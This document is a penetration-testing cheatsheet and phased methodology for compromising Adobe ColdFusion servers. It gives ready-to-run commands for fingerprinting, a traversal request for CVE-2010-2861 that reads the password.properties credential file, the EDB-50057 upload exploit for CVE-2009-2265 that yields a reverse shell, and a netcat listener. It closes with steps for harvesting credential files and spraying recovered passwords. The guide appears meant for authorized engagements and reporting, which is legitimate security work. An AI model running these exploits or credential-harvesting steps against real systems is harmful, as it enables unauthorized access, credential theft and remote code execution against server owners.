Adobe ColdFusion

ColdFusion is Adobe’s Java-based web platform. Apps are written in CFML (.cfm / .cfc pages) and often expose the CFIDE administrative tree. On engagements you mainly care about: version fingerprint → admin / default paths → known unauth file-read or upload bugs → shell.

Cheatsheet

# Find ColdFusion ports / banners
nmap -sV -p80,443,8500,5500 --script=http-title,http-headers <IP>
http://<IP>:8500/ 
http://<IP>:8500/CFIDE/administrator/ 
ffuf -u http://<IP>:8500/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e .cfm,.cfc -mc 200,301,302,401,403
 
# Known admin / install paths
http://<IP>:8500/CFIDE/administrator/index.cfm
http://<IP>:8500/CFIDE/administrator/enter.cfm
 
# CVE-2010-2861 locale path traversal (CF ≤ 9.0.1 class)
# Read password.properties (adjust cf_root depth for the install)
python2 /usr/share/exploitdb/exploits/multiple/remote/14641.py <IP> 8500 "../../../../../../../../ColdFusion8/lib/password.properties"
curl -sk 'http://<IP>:8500/CFIDE/administrator/settings/mappings.cfm?locale=../../../../../../ColdFusion8/lib/password.properties%00en'
 
# CVE-2009-2265 FCKeditor unauth upload → RCE (CF 8.0.1 and earlier)
searchsploit -p 50057
cp /usr/share/exploitdb/exploits/cfm/webapps/50057.py .
# Edit lhost/lport/rhost/rport inside the script, then:
python3 50057.py
 
# Listener for the reverse shell
rlwrap ncat -lvnp <LPORT>
 
# Version / exploit lookup once fingerprint is solid
searchsploit adobe coldfusion
searchsploit coldfusion 8

Methodology

Phase 1: Fingerprint and Map CFIDE

nmap -sV -p- --open <IP>
#visit
http://<IP>:8500/CFIDE/
http://<IP>:8500/CFIDE/administrator/
ffuf -u http://<IP>:8500/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e .cfm,.cfc -mc 200,301,302,401,403

• Port-scan and note 80/443/8500/5500 (monitor) and any Java/RPC sidecars.
• Confirm ColdFusion via CFIDE/cfdocs, .cfm/.cfc, headers, or admin login chrome.
• Record the exact version string from the Administrator page or error/debug output.
• Map reachable CFIDE subtrees without credentials; note listing, install.cfm, adminapi, wizards.
• Run searchsploit adobe coldfusion and keep only exploits whose version prerequisites match.

Phase 2: Unauthenticated File Read (Locale Traversal)

# Copy and inspect the public PoC
searchsploit -p 14641
cp /usr/share/exploitdb/exploits/multiple/remote/14641.py .
python2 14641.py   # prints usage
 
# High-value target file on CF8 Windows installs
python2 14641.py <IP> 8500 "../../../../../../../../ColdFusion8/lib/password.properties"
 
# Other locale-affected endpoints to try if one path is blocked
# /CFIDE/administrator/settings/mappings.cfm
# /CFIDE/administrator/logging/settings.cfm
# /CFIDE/administrator/datasources/index.cfm
# /CFIDE/wizards/common/_logintowizard.cfm

• Confirm version is in scope for locale traversal before running exploit scripts.
• Pull password.properties (or Linux equivalent under the CF install lib/).
• Parse password= / rdspassword= / encrypted= lines; save the file for the report.
• Attempt to crack the admin hash (often SHA1-style hex on older CF); try recovered cleartext against /CFIDE/administrator.
• If file read works but admin login fails, keep the read primitive for configs, datasources, and mail creds — then continue to Phase 3 for shell.

Phase 3: Unauthenticated Upload → RCE

# Confirm upload connector presence
curl -sk -o /dev/null -w '%{http_code}\n' 'http://<IP>:8500/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm'
 
# CVE-2009-2265 helper (edit lhost/lport/rhost/rport in the script)
searchsploit -p 50057
cp /usr/share/exploitdb/exploits/cfm/webapps/50057.py .
# Set: lhost=<LHOST>  lport=<LPORT>  rhost=<IP>  rport=8500
python3 50057.py
 
# Catch the callback
rlwrap ncat -lvnp <LPORT>

• Verify the FCKeditor upload endpoint returns a workable response (not 404/removed).
• Start a listener, set <LHOST>/<LPORT>/rhost/rport in the exploit, execute once.
• On shell: identify user, hostname, and CF install path; harvest further configs under ColdFusion*/lib/.
• If upload fails, fall back to cracked admin credentials, other version-matched exploits from searchsploit, or authenticated admin features (scheduled tasks, packaging).
• Record payload name, upload path, and callback evidence for the report.

Phase 4: Post-Access Harvest

# On Windows shell — common CF8 layout
dir C:\ColdFusion8\lib
type C:\ColdFusion8\lib\password.properties
dir C:\ColdFusion8\lib\neo-*.xml

• Dump password.properties, datasource configs, and mail settings.
• Spray recovered credentials against local and domain services in scope.
• Continue into Windows post-exploitation / priv-esc from the CF service account context.

Reference

Identification Signals

Default / High-Value Paths

High-Value Local Files

password.properties holds encrypted/hashed credentials ColdFusion uses for admin and integrated services. Recovering it is both a direct win (crack → admin) and a reporting finding even if cracking fails.

Version-Oriented Attack Map

CVE-2010-2861 (Locale Traversal)

Affected administrator CFM endpoints accepted a locale parameter that could be pointed at arbitrary files via ../ sequences. Public PoCs walk several endpoints and print file contents when successful. On Windows CF8, a common proof file is:

../../../../../../../../ColdFusion8/lib/password.properties

Traversal depth and drive layout vary — adjust the chain if the first attempt returns HTML errors instead of properties text.

CVE-2009-2265 (FCKeditor Upload → RCE)

Unauthenticated upload through the bundled FCKeditor ColdFusion connector allowed dropping a web-executable payload (commonly .jsp) under a userfiles-style path, then requesting it for code execution. EDB-50057 automates payload generation, upload, trigger, and reverse-shell handling — set <LHOST>, <LPORT>, target host, and port before launch. Expect a delay before the callback.

Ports (Defaults)